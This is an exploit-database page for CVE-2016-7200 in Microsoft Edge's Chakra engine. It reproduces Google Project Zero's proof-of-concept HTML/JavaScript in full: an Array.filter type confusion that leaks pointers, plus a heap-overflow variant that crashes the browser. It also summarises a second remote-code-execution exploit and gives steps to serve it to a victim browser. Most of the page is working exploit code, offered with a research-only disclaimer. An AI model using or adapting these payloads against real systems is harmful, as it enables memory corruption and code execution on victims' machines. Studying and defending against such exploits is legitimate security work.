Materialized exploit

CVE-2016-7200

HIGH KEV

2 public exploit(s) for this CVE, 2 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge - 'Array.filter' Information Leak

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=922

There is an info leak in Array.filter. In Chakra, the destination array that arrays are filtered into is initialized using ArraySpeciesCreate, which can create both native and variable arrays. However, the loop that calls the filter function assumes that the destination array is a variable array, and sets each value using DirectSetItemAt, which is unsafe, and can lead to a var pointer being written to an integer array. A PoC is as follows and attached:


var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{

	constructor(){

		return d;
        }
}

class MyArray extends Array {

  static get [Symbol.species]() {
  return dummy;
}
}

var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);

function test(i){

	return true;
}


a.__proto__ = MyArray.prototype;

var o = a.filter(test);
var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

class MyArray extends Array {
  // Overwrite species to the parent Array constructor
  static get [Symbol.species]() {

	alert("get");
        b[0] = {};
  return dummy; }
}

var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);


function test(i){

	return true;

}



a.__proto__ = MyArray.prototype;

var o = a.filter(test);
alert(o);
var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

</script></body></html>

https://bugs.chromium.org/p/project-zero/issues/detail?id=922#c1

I looked a bit more into this issue, and I think it can actually be used to corrupt the heap too. The issue is that DirectSetItemAt is called on an int array when it thinks it's a Var array. But since elements of a Var array are twice as wide as elements of the int array, setting items at indexes larger than half the array length will write outside of the allocated array. I've attached a sample that crashes Edge and demonstrates the overflow.
-->

<html>
<body>
<script>

var b = new Array(1,2,3);
var d = new Array(1,2,3);
d.length = 0x200000;
d.fill(7);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

class MyArray extends Array {
  // Overwrite species to the parent Array constructor
  static get [Symbol.species]() {

	alert("get");
        b[0] = {};
  return dummy; }
}

var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);

for(var i = 0; i < 0x200000; i++){
    a[i] = i;

}

function test(i){

	return true;

}



a.__proto__ = MyArray.prototype;

var o = a.filter(test);
alert(o);
var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

</script>
</body>
</html>

ExploitDB remote windows

Source

Microsoft Edge (Windows 10) - 'chakra.dll' Information Leak / Type Confusion Remote Code Execution

By Brian Pak

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code txt

Source: https://github.com/theori-io/chakra-2016-11

Proofs of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40990.zip


chakra.dll Info Leak + Type Confusion for RCE

Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201)

Tested on Windows 10 Edge (modern.ie stable).

FillFromPrototypes_TypeConfusion.html: WinExec notepad.exe

FillFromPrototypes_TypeConfusion_NoSC.html: 0xcc (INT 3)

To run:

Download exploit/FillFromPrototypes_TypeConfusion.html to a directory.
Serve the directory using a webserver (or python's simple HTTP server).
Browse with a victim IE to FillFromPrototypes_TypeConfusion.html.